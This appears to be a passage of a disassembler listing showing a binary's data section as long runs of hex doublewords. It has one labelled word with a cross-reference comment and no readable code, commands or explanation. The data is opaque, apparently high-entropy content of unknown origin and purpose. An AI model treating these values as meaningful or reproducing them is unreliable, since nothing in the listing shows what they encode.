		dd 0C0C0875Fh, 0F4761EBEh, 326DC06Eh, 95C8DA8Eh, 1A9CCD1Dh
		dd 3D9EC031h, 0CB12D8h,	0E9A482D8h, 56010318h, 420BA200h
		dd 0A8D97050h, 0F8D10096h, 4FCA716Fh, 0D6030E9Eh, 0F13A78FBh
		dd 0E972805Dh, 599100B2h, 0D82BE423h, 0EB04F28Ch, 0B083516Dh
		dd 5AFCEC80h, 74756Fh, 0B889BA3Bh, 342776C0h, 0D5A06760h
		dd 0E69229h, 8FF24C99h,	4FDA514Bh, 0F6C90E00h, 9BB3EBE2h
		dd 405A3C5Fh, 0D1CD7F00h, 5514A30Bh, 0D0DB9A00h, 534AE8F8h
		dd 9F213859h, 0B095A787h, 390680EDh, 4C1ED18Ah,	0A64F229h
		dd 0E77CE100h, 246276h,	2C2DB164h, 0D9E94C44h, 9DF49101h
		dd 3AAD0BA9h, 6D62A0FFh, 30034CEEh, 40E31512h, 27FFE0B8h
		dd 8F0051B4h, 76B955B0h, 3973A685h, 2C8018D4h, 2B69A933h
		dd 0FE39B24Ch, 368780A2h, 9F8253D8h, 50A50024h,	0C37FBBEh
		dd 0D000599Eh, 35026905h, 7EB208h, 0FC86CD73h, 9A70C93Ah
		dd 27D28E00h, 0B50D3650h, 4430010h, 62B2F8DBh, 9600A188h
		dd 7502EBD8h, 328D7FAh,	712F5276h, 2CCF562Bh, 6B00CE26h
		dd 0D5E90AADh, 31CC42h,	0F04B0FD1h, 0B9A0A913h,	1288DF01h
		dd 0BE96F373h, 0EEDDE7E8h, 263AF8D9h, 8034FD23h, 4D7EF7E5h
		dd 8F001D51h, 3F084AB1h, 3A4C179h, 81EFC0B0h, 6C8AF90h
		dd 1D304D15h, 22991108h, 24C348D6h, 95620C00h, 2FB2075Eh
		dd 5B930A00h, 284CE67Ah, 0C72200D5h, 0F2EE26DAh, 9B063059h
		dd 8CCBDD8Eh, 0E7580048h, 0C5BEA9F3h, 0B20E263Eh, 4339D7EEh
		dd 94417D78h, 0FD7A20D0h, 0CB110034h, 0FB3B0F0Ch, 4700AA5Ch
		dd 597B4CCFh, 0CD3E817h, 1B4E8A35h, 5825EC18h, 390E7C29h
		dd 12D0A9A4h, 36BF0028h, 20F8A393h, 3FB92138h, 3F8D002Dh
		dd 0AB9A326Ch, 0CCC100A2h, 8AB627EFh, 0E300BA87h, 1C60B141h
		dd 3769C6Dh, 0D4C26CE8h, 0E7B9B6h, 31BBF908h, 0C44C58h
		dd 0DB41D9D8h, 196B16h,	6EB469FFh, 0E15AA332h, 462FFE24h
		dd 0C04A1033h, 0CF90C7h, 5229951Ch, 4FB48B51h, 0B8B19900h
		dd 2E64A958h, 0D8FC58CCh, 0ED4D7098h, 0E149D200h, 62BCF93h
		dd 741C9041h, 2EC8010Ah, 81698828h, 7B9EC43Eh, 41A4B00h
		dd 0FEBE5F3Bh, 0D676061Fh, 3803799Ch, 3C812C5Ch, 984CB1B1h
		dd 36C0E258h, 7EB275DDh, 0C1B8C0D2h, 0F1BE2BA2h, 0CF85E49h
		dd 99410BFBh, 7F8200C0h, 7456653h, 0AE0E6D74h, 3A65715h
		dd 0FBD4E077h, 0E2FD9093h, 262005Ch, 0F2765B33h, 0F7391634h
		dd 4C2C81A4h, 81749895h, 0CC204471h, 0C4CF1ED8h, 0C2FC0026h
		dd 27983EFEh, 4E70F801h, 5ED9B23Dh, 0E481F1D0h,	61AB00C5h
		dd 50198DF2h, 0FA788913h, 14007D7Eh, 0AF67FCFFh, 242ECFh
		dd 32F03BA7h, 8C42A439h, 9BD75800h, 5E1CDEC6h, 86C11881h
		dd 4CF8D831h, 7D8DA900h, 0A4D0F20Eh, 9DECDAh, 515D8037h
		dd 6A7863D7h, 0C41DDC00h, 0B88DE2D4h, 95940015h, 979A6BB6h
		dd 6A0F4276h, 9EFDAE8Fh, 57DA1830h, 92D20AFAh, 0D8207C45h
		dd 88884ACDh, 0BB923A4Dh, 5B528D07h, 7FBE4048h,	0B97CA1ABh
		dd 4273897Ch
		db 0, 0BAh
word_505446	dw 4DDFh		; DATA XREF: ___:off_435E08o
		dd 0D5D63888h, 2E0758B5h, 4C20BB29h, 7D208381h,	149655C0h
		dd 0B9DCD8C1h, 853D3ED7h, 4FA70B07h, 5268707Eh,	9C046E0Fh
		dd 0A154396Ah, 1A712E81h, 34169861h, 807B5408h,	0E45D4651h
		dd 0E740A03Eh, 6D5D0021h, 4B548F5Bh, 53269B17h,	2BBEF8D7h
		dd 79D80432h, 10836015h, 0E30F9080h, 13C05C00h,	0E6675720h
		dd 99A126CAh, 0C10B1DA3h, 82833339h, 7F298810h,	0F036881Fh
		dd 0E7841790h, 42AB4805h, 0C322F292h, 53E222BAh, 0AC22D724h
		dd 46F2885h, 5D591814h,	0F74308A1h, 94847B90h, 0C96F4C5Ah
		dd 280B8F2h, 1FF3A993h,	9C60EF1Dh, 74B9AA08h, 6A9E2130h
		dd 15EA00E0h, 0B0BE763Ah, 81001D8Ch, 0C15BE7EBh, 9127ABh
		dd 0F97AC5E3h, 7999952Dh, 0DE174200h, 726C024Dh, 2C9427h
		dd 1418EF4Fh, 873D89C2h, 0D6BE01DBh, 39FE6A4Dh,	0AAF7D8h
		dd 7FDC8462h, 334C0646h, 0B093B300h, 9B421B99h,	55A800FEh
		dd 8B7ECC3Ah, 0AA00296Dh, 5D249C21h, 57AF162h, 0B9DEC920h
		dd 93CC80CCh, 3FB8CA1Dh, 41D55B00h, 0FD63A05Dh,	0A4B1DAAh
		dd 67700B2Eh, 9B5E9980h, 0B11F07A2h, 0B540235Fh, 0E21D8238h
		dd 3C67379h, 0F6D61983h, 20C80AD1h, 4F00548Ah, 42FD4033h
		dd 68E1FFh, 0A51E90CEh,	6063829Bh, 2B78F77Fh, 7BED7E00h
		dd 0FD4D14ADh, 47190016h, 0F5C73DC1h, 0E401F39Bh, 53669465h
		dd 29800C21h, 22AE8137h, 0B8008F6Bh, 0DA629C35h, 0B2791Bh
		dd 0B594C117h, 4070A9D6h, 37775B00h, 6483B3D9h,	0F9E605F5h
		dd 0C0AE34BFh, 4CC35CE0h, 50F4AD81h, 0EC8700D6h, 9BCA8C78h
		dd 0FE6062CEh, 1B36A148h, 46D003C5h, 0BD5C2E3Ch, 0E58068EBh
		dd 6A39528Eh, 41980B3h,	63D56417h, 53161FBEh, 455C8099h
		dd 33B6096Ah, 9C006BF6h, 22BD8CADh, 559C05Fh, 9DC9957Ah
		dd 589483B5h, 78C309A0h, 4B872C1Eh, 9A1EBB40h, 35EA8CDh
		dd 8FB5DDAFh, 0F292F01Ch, 68982BC3h, 440B179Eh,	80C5FF33h
		dd 0CB3F46D4h, 78DA0075h, 2907F77Ah, 5E502AC2h,	0C25C7A0h
		dd 3F2C80C1h, 2EEEC3h, 503D26ADh, 89923C2Ch, 6817CA02h
		dd 68384CC9h, 2D4A00h, 5CFAB984h, 0BCA8D107h, 0F6D8450Fh
		dd 0CFF4631Ch, 3DF089DCh, 7912F9D8h, 0E86603E1h, 932318D9h
		dd 52A20C9Bh, 0B1868AC0h, 622AC300h, 3CA84C34h,	7639003Fh
		dd 1B060A2Dh, 8A0083DDh, 2CF8D104h, 335728h, 4208C69Ch
		dd 383C1213h, 0A650B567h, 0AED562B0h, 0CA6500FCh, 0BC720A30h
		dd 257D3AA1h, 809BBB3Bh, 482CB9D3h, 73A67957h, 41109C1h
		dd 0FE002D6Ch, 0E204665h, 2A12C503h, 0B01C37D8h, 39FC80A9h
		dd 2875CA7Fh, 0E284606Ch, 4CC0006h, 428E4479h, 18B4E0DBh
		dd 488C1A03h, 0C8210039h, 0D0E5166Dh, 51018435h, 4ED12B72h
		dd 0D47427D7h, 89550048h, 575E6CE1h, 0B9005303h, 4D779826h
		dd 9EBF96h, 0D3738AF5h,	9576C2DAh, 601CB34Eh, 12B61F00h
		dd 9A18A733h, 3972538h,	6F7290A2h, 0EEC5B600h, 0A073F686h
		dd 0E404FCh, 9347CE98h,	0D7A03EBCh, 0E849248h, 4372F6CBh
		dd 0E0362055h, 248B90BFh, 57CA829h, 877B5814h, 37110000h
		dd 0DC004691h, 18209916h, 127DDB4Dh, 30DF8178h,	1E390390h
		dd 0AC180BE6h, 0DDB8CCA9h, 128AB0D2h, 18DF440h,	619EBC5Ch
		dd 0BC5FCF5h, 391A3507h, 51D094E6h, 263FE501h, 790B3A2h
		dd 10ED56B1h, 17DD6AB4h, 1C656C38h, 7100475Ch, 9DA8A19Bh
		dd 4FB40055h, 1566FBB0h, 0C0E1EF99h, 5890D763h,	7645B20Eh
		dd 1A8300FAh, 107ED9h, 3B641E78h, 0E01D919Ah, 60F9DF00h
		dd 8BA9EA9Fh, 0F04800F8h, 0FF21AB19h, 0EB004C0Dh, 855488DCh
		dd 0B00680E7h, 0B589166Ah, 104C8011h, 0FB7C74AAh, 0F9E27104h
		dd 1C805F50h, 5AA8BE26h, 0EA380024h, 23A7BD5Eh,	0F09A3803h
		dd 1EC65D48h, 4040EC20h, 0B58ECD64h, 3F2642D5h,	91038045h
		dd 0C0FBD203h, 2459ADA9h, 21C58EAh, 29C32DBFh, 6F8EFC7Bh
		dd 0B950406Ch, 62E7C1EDh, 2265F886h, 9F9940C8h,	6295AC07h
		dd 9DA0F9FBh, 23825Ch, 6B31B5F3h, 0A74DD92Fh, 880AFC18h
		dd 0CD5CB1h, 418033Fh, 0DBC523B7h, 0B04DAC00h, 9CA9BF51h
		dd 60FC12EEh, 0F1400063h, 0BA758FAEh, 4D4F1100h, 0E46E62C0h
		dd 0EC70B00Ch, 1319863h, 7133F0AFh, 70FC3145h, 171EEDE7h
		dd 70C72E01h, 96300832h, 39772FA5h, 0F0808C3Bh,	0A8E58830h
		dd 0DD3CE30Eh, 33A2072Ch, 5190379Dh, 182181h, 0ECA72D5Eh
		dd 966458C9h, 97666900h, 41EAD319h, 71E8B0FAh, 0B967005Bh
		dd 0E1DAE201h, 3507681Bh, 0F02F06B7h, 1F25F5A0h, 6621C0E5h
		dd 6D332882h, 0D84DF12Ch, 29C51100h, 0D43F83h, 0A91013F8h
		dd 0F54E9DCBh, 9111F8B0h, 9907E15Dh, 47D76C4Bh,	1A09A0D9h
		dd 0A90034A2h, 0B4E4EF5Bh, 3E6A26h, 0BAE3CC81h,	884301ECh
		dd 30A0F030h, 56C85B1h,	673F4EC7h, 3D8B804Dh, 29C0F01Fh
		dd 6F24D0A9h, 6828009Fh, 296C262Eh, 9C06A24Ah, 272B1685h
		dd 0F98A3C18h, 580D858h, 28910B72h, 0CE511100h,	8CF2EF0Eh
		dd 0F7FA0081h, 0F91AA25Ch, 0CB019577h, 7CE3C173h, 0C2E4C02Bh
		dd 71C30051h, 406BE6EFh, 2600F6D1h, 580F9D8Dh, 0FE2137h
		dd 33EEB286h, 0BC8E4CE3h, 38B6B101h, 0A772E4A6h, 5DDC30h
		dd 0E61F8463h, 7029525Ch, 8F0034E6h, 0C7AA4E92h, 4CF77656h
		dd 0CC0026C2h, 3B81F535h, 0E52437C8h, 2A00AC5Ch, 20ECB47Eh
		dd 7AA6002Ch, 0EFB39933h, 0A47B4A23h, 5F213160h, 0CEB8Eh
		dd 898CEE39h, 16CA730Ah, 92803F01h, 2E741326h, 57658489h
		dd 228BAC00h, 289EA47Fh, 9762A080h, 7581EBEh, 7B1F535Eh
		dd 4D64C08Ch, 5A00B625h, 0EFF0BA0Dh, 0B82124DFh, 687300A0h
		dd 0F277878Ah, 0A07FFE76h, 5D5A520Fh, 0EC2DA097h, 326409h
		dd 0E903C3A4h, 270B7B55h, 0CB59AE00h, 200453D8h, 0E77E00A1h
		dd 57FF16AAh, 4626DEB3h, 9100C852h, 0FB507665h,	11B800A5h
		dd 3D796697h, 0C2189FD2h, 0E0216D07h, 725B012Bh, 58A04FC9h
		dd 3471C4FCh, 9900F776h, 70370E16h, 0FE8B81h, 57A9C07h
		dd 27FF8221h, 75266FE0h, 0B0247D2Dh, 4C0AE283h,	9841B333h
		dd 427604h, 0FB221C6Fh,	6364DEDFh, 73ED1E3Bh, 77504B00h
		dd 0F6F4302Dh, 0B4100086h, 0BA0CA74Eh, 0A9003809h, 0A8F814C8h
		dd 0F7FE0E3h, 71B840B3h, 0FF0DE680h, 0E2005AB9h, 0BF7E2F1Ah
		dd 0D0B465h, 67C72E6Eh,	0C39A24A7h, 1C26E100h, 0C8FDEA95h
		dd 0B9E0CEh, 0CDEBAC06h, 6C93640Eh, 87B8405h, 0F8D28BF7h
		dd 3BBC641Eh, 4DEAAC0h,	0C9204B90h, 642180D4h, 34E8F212h
		dd 2DF90Ah, 0EBDB0B7Ah,	93808A8Eh, 692D5632h, 1C5A48h
		dd 351B16B7h, 4DE1EE98h, 0A107F41Fh, 848BE2B4h,	2E10A0DCh
		dd 3E686B0Bh, 4F7C8030h, 0B0C5879Fh, 0E55BD4h, 22F6A6A4h
		dd 5000331Fh, 0DECD5245h, 482778h, 163FDA30h, 0DBEDC947h
		dd 497A700h, 38CD7377h,	56A6003Ah, 1679F9D1h, 0A10F5A18h
		dd 0A022E20Eh, 0F5C30B86h, 0BEC9610h, 1CA205E3h, 8C40907Eh
		dd 500CC568h, 0A87493FAh, 0E9C83ABDh, 0EDFB1B00h, 0A518C398h
		dd 4A620D0Bh, 2700807Bh, 0B1A9DAh, 0A2613763h, 0BF7AC349h
		dd 53757616h, 6AECE0C1h, 40DD4060h, 0BE70CF60h,	0C9423500h
		dd 96C8089Ah, 0A1DF03BCh, 54738B50h, 0EF0C5CA8h, 44565303h
		dd 2901CAh, 8C53BACh, 1DDE0630h, 1400A3F2h, 217DC481h
		dd 79681645h, 7B2B00A8h, 0F03050F1h, 691C3CDCh,	0E9C0CD32h
		dd 231868F8h, 566F0149h
		dd 4B17762Ah, 6A44C8BFh, 414D090Fh, 0F29C20BEh,	16F5152Dh
		dd 0E3EE1Ah, 433D3992h,	78073E9Bh, 2E3B37B5h, 0B32668C0h
		dd 0F6111CB9h, 0A317804Eh, 63448DD0h, 0CB00E9E0h, 0A8B04351h
		dd 0E310255h, 5B529985h, 44C85F00h, 810EE1D1h, 60B34987h
		dd 0A1F474Ah, 0A7FB0E5Ch, 88A0ADF0h, 59A40B50h,	153D1E0Fh
		dd 479AE470h, 99030CA8h, 0C1FBCE61h, 97554490h,	8CCF620Bh
		dd 2093BFh, 0CBE6C621h,	0CA914D13h, 0B3F8D100h,	5F638259h
		dd 0F35803F0h, 3EC28DAEh, 60008BA7h, 0F83ABCF1h, 6B58200h
		dd 4D9EBE9Fh, 78540090h, 0DFDC777Eh, 2625806Ch,	0FA94409Bh
		dd 0F6751328h, 0BB9C22A3h, 69252448h, 0A722D300h, 0D12D8CADh
		dd 617C0F6Ch, 0BB001A5Ah, 0C3139FE5h, 0EA0F42B8h, 9F78E817h
		dd 0D12B4Fh, 0F5910ED2h, 0C32008Bh, 0AD21BC88h,	6EB851D8h
		dd 89031D3Fh, 47AE61Ch,	0C08D246Ch, 1E4C60h, 7AED736h
		dd 40686FC8h, 736DD618h, 79813F10h, 6B1600A0h, 1AF15170h
		dd 5200D662h, 4BE17574h, 3A2EA8h, 3169BD73h, 0E5FC68DEh
		dd 0E95D0D0Bh, 0C8E40C29h, 0DCE70083h, 7A7B5BBAh, 2D00EA9Dh
		dd 0EBB1906Ah, 675964h,	8F0E33DEh, 39E26D89h, 0E8E6B8F6h
		dd 3AEA4A7Ah, 7072F44Ch, 0DA96600h, 0A3AA0BD1h,	0F150241h
		dd 38525F1Ch, 19E1F880h, 0B913431Ah, 0B4403003h, 0FDBA4427h
		dd 8DF7302Dh, 109F2E21h, 29851B00h, 0DC80E786h,	0DB31008Ch
		dd 3B112C57h, 0D515A0F7h, 0F86B15h, 17392A09h, 50CCFE4h
		dd 51C6553Fh, 129480C4h, 0C2004241h, 6A8D68F2h,	4C0BB40Fh
		dd 0ABC0742Ah, 48751B4Eh, 0B0D32000h, 0DBC02658h, 0C4780072h
		dd 4CEBF32Ch, 0E80B6E0Bh, 8407792Dh, 64C0D225h,	7A0DF12Fh
		dd 313D0081h, 7DEBD55Ch, 5A001C02h, 0C9234328h,	0E04322Bh
		dd 12F9F618h, 80DD1BA3h, 20ACC6F8h, 0E92E1700h,	53E832CAh
		dd 3BC100C5h, 0B072140h, 580118AFh, 5F3722F7h, 0B0F442ACh
		dd 8C2600B3h, 30E4E3E2h, 990FF0FDh, 0E4BB2568h,	5CC06978h
		dd 0C4CB7Ah, 0D63010FCh, 0C3E2832Eh, 1E13FF03h,	814CD4h
		dd 7E5E4F21h, 3C7B48E0h, 0E3BA7900h, 0D4EE719h,	0C3561D42h
		dd 0A6215EC0h, 414268Ah, 218EF29Bh, 0B04A0FBCh,	1EA1A00h
		dd 73996C77h, 0DC558000h, 3F3CBFE1h, 0D5081E24h, 69E50089h
		dd 1958BE64h, 1C930E00h, 0DA13AC0Bh, 0C78A0082h, 706F80E9h
		dd 22007CF9h, 1F93CF2Eh, 4B1975h, 16BEC2FBh, 0D6A8DD97h
		dd 47E32F00h, 0C94485A4h, 0E0FAE0C8h, 2727Ch, 41E51139h
		dd 4B16F1CAh, 34AD561Eh, 0DA1E0741h, 64F4D599h,	35C3124Ch
		dd 1C44FB2h, 0CBB59C63h, 0C7A88293h, 2D2E6996h,	954384A7h
		dd 1BF08066h, 0B9A2024Bh, 928AFFFh, 676430C0h, 23A9C902h
		dd 40C0439Eh, 0B8F18A0Ch, 90750150h, 0C504F42Fh, 5303835h
		dd 29AB0ED1h, 99EBCF0h,	0E9895109h, 0E01DCC00h,	0C8099524h
		dd 9757A7h, 0C431F48h, 27CC1h, 0B9797C7Bh, 0FE9E0B5Eh
		dd 6F93321Fh, 2051ED0Fh, 1D68044Fh, 5AF600AAh, 0EA665D3Eh
		dd 7C000A44h, 2D2E640Fh, 3871CFh, 59D71236h, 7958A37Eh
		dd 0D88EA917h, 0B480B300h, 0E8742A1Eh, 0B876DFh, 0E429D87h
		dd 0C929177Dh, 0B7E4D900h, 0D0028DBBh, 0E0BFE33h, 7DB0EFD6h
		dd 999C6B40h, 5400C43Ch, 0E86AD33Fh, 41986Ch, 3EAE8025h
		dd 8D70F773h, 3A968658h, 723D0049h, 0C4E82C06h,	594690E4h
		dd 9E00FC0Ch, 0D1CC7017h, 0A3002A63h, 0CB6FFEB3h, 302841DCh
		dd 0E021A9A1h, 6C1F7298h, 6E0087B5h, 8E5EA6FAh,	0E8900BBh
		dd 0B1E5940Ah, 0E22461D5h, 0A52C6C05h, 9829D600h, 1D1BB6EAh
		dd 0C032A7CBh, 0B57E20EBh, 5E504155h, 490006C0h, 93093E2h
		dd 2FA3669h, 0F799B6A3h, 56C30442h, 84227F98h, 0BC2A49h
		dd 0ADDA1AFCh, 0BEB97Eh, 0BAD6C139h, 953CDBB0h,	0A2C9E712h
		dd 61752CC0h, 0FD0E39D8h, 7E51DA80h, 0D974B3F6h, 5209A201h
		dd 0CFB071FEh, 4B22CF4h, 4D126A29h, 94C4E0E1h, 0E96C610Eh
		dd 2C8A6166h, 69C0BAA2h, 94F1585Eh, 67B6AF05h, 4819C211h
		dd 0B829D8A3h, 1398E4D5h, 8F6EBECh, 7CF4F602h, 724D88B7h
		dd 0EDA504B8h, 805E54B0h, 0F00AFE88h, 60595201h, 0AE435A99h
		dd 7910ACD0h, 4C5B0092h, 0D4EB834Dh, 0E0055836h, 0C1A29679h
		dd 255FCAC3h, 0BC4CD971h, 0ABD422h, 0A2C4E182h,	5EF4BE48h
		dd 2C018A1h, 76DA036Eh,	0D29815A0h, 0E06D663Fh,	0E85FF410h
		dd 0D3F7899h, 0FFD153B5h, 0F70A6118h, 5BB072DBh, 7E000667h
		dd 96B1E87Fh, 0FF5A77Bh, 368DA492h, 50604827h, 38879C72h
		dd 0AA7F6605h, 5C0C3ABBh, 8C5A0A1h, 0F5BEBFA2h,	0C6081F64h
		dd 2EC37A00h, 0C873339h, 0E9AB2505h, 9F003798h,	0D5849E67h
		dd 242DEh, 79804C8Ch, 52B7707Bh, 78FEA300h, 0B9DF7EFAh
		dd 243B0B8h, 61D012B3h,	0F3C0AAC7h, 5B0E858Bh, 6018E9F5h
		dd 191E114h, 66820703h,	8EBA4F63h, 4DE05A6Fh, 95DBD27Dh
		dd 6DD0F91Eh, 1359C140h, 57232Ch, 9E767817h, 9C04198Fh
		dd 0F3FEB700h, 375D776Ah, 5F7E00A7h, 0F1D921A0h, 0B40E1B73h
		dd 802992D5h, 0E4E04356h, 0AC8900FBh, 28F6CC9h,	25003981h
		dd 363E1C4Ah, 5528873h,	7A9DCBDBh, 0FF944721h, 6633409Fh
		dd 54006EC4h, 0F11FEB87h, 1183DD6h, 452DBDB2h, 0C0CC1E2Bh
		dd 38C03610h, 0F87A37D2h, 0C902004Eh, 0ABDAD6CEh, 1C7FFF1Bh
		dd 4F8374B6h, 5D02A9h, 0B0535810h, 4DDFA3Fh, 0F5245B0Ch
		dd 0C671842h, 94098F4h,	8000FF70h, 0E9840439h, 1F642247h
		dd 0B1F0F7h, 0D72E214Eh, 781DBE3Ch, 7E1F3654h, 84BA7000h
		dd 0E40E0CEh, 0A1F159B1h, 68232D0Fh, 11809636h,	0E2037E81h
		dd 0CC253166h, 207900F9h, 0A82C63F1h, 7103F33Fh, 4E0EA5E6h
		dd 7FBFB0A2h, 0A9EB0195h, 0FA2B0D35h, 10F66072h, 9A18D70Fh
		dd 0C2EAE06Ah, 0FDBAD09h, 14488F77h, 0E5317E80h, 81FABF54h
		dd 5222AF0Ah, 5C0482h, 0F308A38h, 9B1BC614h, 40D60CA0h
		dd 8D508360h, 38104AE7h, 0CA004C42h, 0B16E7480h, 46106122h
		dd 553A2633h, 0B3AAB80Ch, 80000F41h, 0CA365B0Eh, 632E7589h
		dd 25EA08DAh, 37F1201Dh, 0B8A73540h, 3A48B9Eh, 0BF6EBEF5h
		dd 0B688F6EEh, 61004C0Eh, 2150945Ch, 3BCB67BCh,	7E036A4Eh
		dd 739E52C3h, 460FC97Ch, 8C86BFE2h, 0D28606Dh, 802E37B0h
		dd 674DC8D1h, 8B47AA00h, 0F2FF4EBAh, 6017E8B9h,	480920B0h
		dd 2A00FD67h, 5E4DC714h, 0C04A75D7h, 41620660h,	10245A1h
		dd 1E3EC2D1h, 6043C2A9h, 18109886h, 0B0AFCAF7h,	61035C57h
		dd 0CE44813Dh, 72A10065h, 0CB3E7458h, 1A19130Dh, 7708B5F3h
		dd 5A5D850h, 705F0074h,	69DFCA3Ah, 9D193480h, 4AF81BE8h
		dd 0EA33287h, 81684CEAh, 9A77230Ch, 307B7005h, 4BC8B291h
		dd 9609196Ah, 821FB16Bh, 99A747BEh, 6701711Ch, 0A000CBB1h
		dd 9046EEA1h, 7C6993h, 479E3EC3h, 5D5E7D32h, 996FB100h
		dd 0BB62FF91h, 8821948h, 70EB1813h, 0A9006463h,	45F846E0h
		dd 6AC381h, 0E7498C5Bh,	0BD346136h, 23063B09h, 11E4046Dh
		dd 0D20EBBC1h, 324E9181h, 9F6CF21Ah, 0D8EAE968h, 3501BFECh
		dd 0E8C83DACh, 3020E669h, 3C028CC4h, 2A365725h,	0ED3A168Ah
		dd 97A58033h, 9EE40B4Bh, 7CEC03BFh, 26F8225Ch, 274C41B0h
		dd 1429B024h, 0D1672FC3h, 13187B47h, 2420388h, 591A9867h
		dd 0E4A0E65Fh, 8CC64EDDh, 7A384090h, 60A101A5h,	3E82AC6Bh
		dd 5A010426h, 0FDCB3874h
		dd 0B3000B12h, 335B740Fh, 0C28624Ah, 8B7BB489h,	0B0EB0230h
		dd 0FCB9F348h, 0BC0349AAh, 0A00AFC01h, 0F4883185h, 0B500AE57h
		dd 6EE5B74Dh, 86251C2h,	0DBA95A4Ch, 3E248780h, 0EA25931h
		dd 67405639h, 888070D8h, 0A8203D81h, 61E8A8F4h,	3EE50C71h
		dd 0AFE07F91h, 12E76F0Ah, 0BD0288AEh, 6075DC5Eh, 260F1508h
		dd 71405CEh, 9C193183h,	40152750h, 87844881h, 0CC61745Ch
		dd 0B142Dh, 917459A9h, 20823D9Eh, 6F155ED4h, 9D4BDCCh
		dd 2F6B58D1h, 39CE8DD0h, 8425AAF1h, 0EABDF0h, 4C6585EFh
		dd 360D4101h, 29C42B30h, 5E0C36Dh, 42AA5980h, 81E420DDh
		dd 59C06FD7h, 5839F1E8h, 8CE10724h, 20695D5Bh, 5A86DB3Dh
		dd 10383649h, 0AF0021D6h, 68F1BFB9h, 4A00B3DBh,	0E29A45A3h
		dd 2F63DD9h, 9822FE3Fh,	908012CEh, 4E99510Fh, 0ED0945E2h
		dd 0A1AEAE6h, 321148C0h, 9B4C0592h, 48FC1447h, 0C2801BC8h
		dd 0C404673Fh, 0D6BE00C8h, 0F91C0EE3h, 0C92A4F5Fh, 95008C61h
		dd 11BDD2BAh, 331E98Ah,	2A0CCBF8h, 36B70ACDh, 0C500295Fh
		dd 31E21256h, 3859967Eh, 0F804484Dh, 90DAA9D6h,	0A3B98420h
		dd 0B0344B00h, 0F441FA07h, 296407BEh, 607C5339h, 4AFE0E9Bh
		dd 24247F48h, 0E0A81C92h, 156119E7h, 0CCE2A402h, 26012010h
		dd 2530EE1Dh, 614322C7h, 39B126h, 0EB609D36h, 0C74267BBh
		dd 80194ABh, 0DDD4D349h, 9BECDC13h, 5A362694h, 0BD8404A4h
		dd 45D10FBBh, 0D80172CDh, 0D7597348h, 0C20071BCh, 0E94F35B1h
		dd 0B40E15D1h, 8916A9A5h, 27082176h, 2A2035B9h,	9A9E16E6h
		dd 0DA440125h, 927FC2ECh, 7C725360h, 5750852Bh,	751E180h
		dd 43AB006Dh, 0FB4E4479h, 0F3EA5BBCh, 3813E53Bh, 4BE005DDh
		dd 4C201073h, 102C359Ch, 0C816B9E9h, 0B7E08271h, 81830C35h
		dd 88F02A17h, 0D21DE5E6h, 75D44EDCh, 94AC05C0h,	28842260h
		dd 0C82E4C85h, 3C005B23h, 75665E07h, 20CC908Ch,	0A1487004h
		dd 0B8A9C560h, 4767D440h, 1F5A12C2h, 943ECAA2h,	45099820h
		dd 74044323h, 674B6035h, 1B47109Ch, 931AC8BAh, 27BC00BFh
		dd 0ABADFDA9h, 0B3C50202h, 0E8FE46CCh, 55A4DA08h, 5820F472h
		dd 84257CA1h, 37694960h, 6F93A34h, 0FAA470FDh, 0B85830F0h
		dd 608D3C57h, 20422AD0h, 0ABA70527h, 0A0993Dh, 403047E9h
		dd 0E493A654h, 2766371Ch, 0A45ED200h, 715D2A6Ah, 0DE46156Bh
		dd 0B52EBCC5h, 903F1108h, 0CB391FA8h, 927008AEh, 404B012h
		dd 0BC5A48F7h, 14051217h, 9C84AE76h, 1888148Eh,	1C5B92C0h
		dd 7B0904F5h, 98ED9542h, 5A064E58h, 66CDC43Ch, 5E57FA9h
		dd 0A7C3BBB7h, 0B9EC47B5h, 6743732Eh, 3808F3E0h, 48EF49h
		dd 5BD4E684h, 99599821h, 0E5660090h, 3E7A1C20h,	3D4604B0h
		dd 3F745702h, 84B105CBh, 10B4107Ah, 2D580074h, 0DD2E038Eh
		dd 0ECAB553Eh, 2886F4D9h, 9615040Ch, 7489C15Ah,	0EC40CFF5h
		dd 30B046DFh, 0EC30821Bh, 51801F72h, 267C1392h,	3D4860B7h
		dd 36585E25h, 0C8484892h, 34F28008h, 6BFEC425h,	0CA4AEB1Ch
		dd 0E2840E25h, 8FADEEDEh, 173282CCh, 4168E296h,	9B180F30h
		dd 0E9453504h, 743216A1h, 35C2E520h, 245200EDh,	0EA69C48h
		dd 921C8F0Ch, 0A50A8169h, 0C8808C04h, 0E8A7BF3Dh, 0CE05CBAh
		dd 0E9150A38h, 0D200AC64h, 0FF499486h, 2EFC89B1h, 14C849h
		dd 30C74B17h, 0EA12EBAEh, 3AA1F2CCh, 0B28E38ABh, 0C660FF9Ch
		dd 0DA84BA0Fh, 0D64ECA0Ah, 4102A016h, 581A0EEFh, 0B05A2904h
		dd 2E28A4B4h, 78465678h, 30E9B200h, 0B850A45Fh,	12F048D0h
		dd 9C257861h, 6AF2F005h, 42A0ACC8h, 0B96048A2h,	0A73A30EEh
		dd 9D01877Ah, 4C0A7DDFh, 28600567h, 9CCC401Ch, 0CF356200h
		dd 80C83C61h, 0FDC100ABh, 0B302A390h, 7E3933C6h, 5864C840h
		dd 8C7AB8ECh, 1B626314h, 121048E9h, 4C431376h, 0FE4809Ch
		dd 0ED3E8580h, 19D7F058h, 7F44D496h, 0A4CC64C3h, 35C83D41h
		dd 0E54C70DDh, 9307B492h, 0EF466298h, 37049079h, 7CC87702h
		dd 484C49F9h, 0BC1D30B8h, 2558D19Fh, 3DD65F39h,	3F037C4Ch
		dd 8091B481h, 5105C0A6h, 7E221293h, 30B9F892h, 5C110E83h
		dd 888D236h, 2400F89Eh,	0BF6BF585h, 0B062134Ah,	804C1F83h
		dd 889E3DC9h, 21F152E7h, 0A536FCB4h, 9089049h, 42E84629h
		dd 98605A58h, 2AEE12E4h, 509018E4h, 85816AD8h, 60D6C830h
		dd 1D37E96Ch, 801E8C8Eh, 0FE809A03h, 39D6CFF7h,	564724AEh
		dd 20AA17ACh, 0DE6B1680h, 7A013707h, 19C0CFC1h,	485BFDAEh
		dd 0E201A023h, 382ACBB9h, 0A28C2327h, 5D1E306Eh, 2AB7480Ch
		dd 956D8C8h, 690A4E4Ch,	363F0C00h, 597124B8h, 9AF25A1Fh
		dd 0A9E4C930h, 0A0DD0008h, 2E3A9C4Bh, 0EDEE5F47h, 0B3016EF2h
		dd 8934F827h, 40F69E3Ch, 4D464B68h, 5101A8AAh, 55596899h
		dd 0F010766Fh, 3C86792h, 0CC93A145h, 994C6833h,	17A20C5Ch
		dd 4B32C842h, 95F80022h, 9C65112Dh, 0ADF43400h,	0BE669EDh
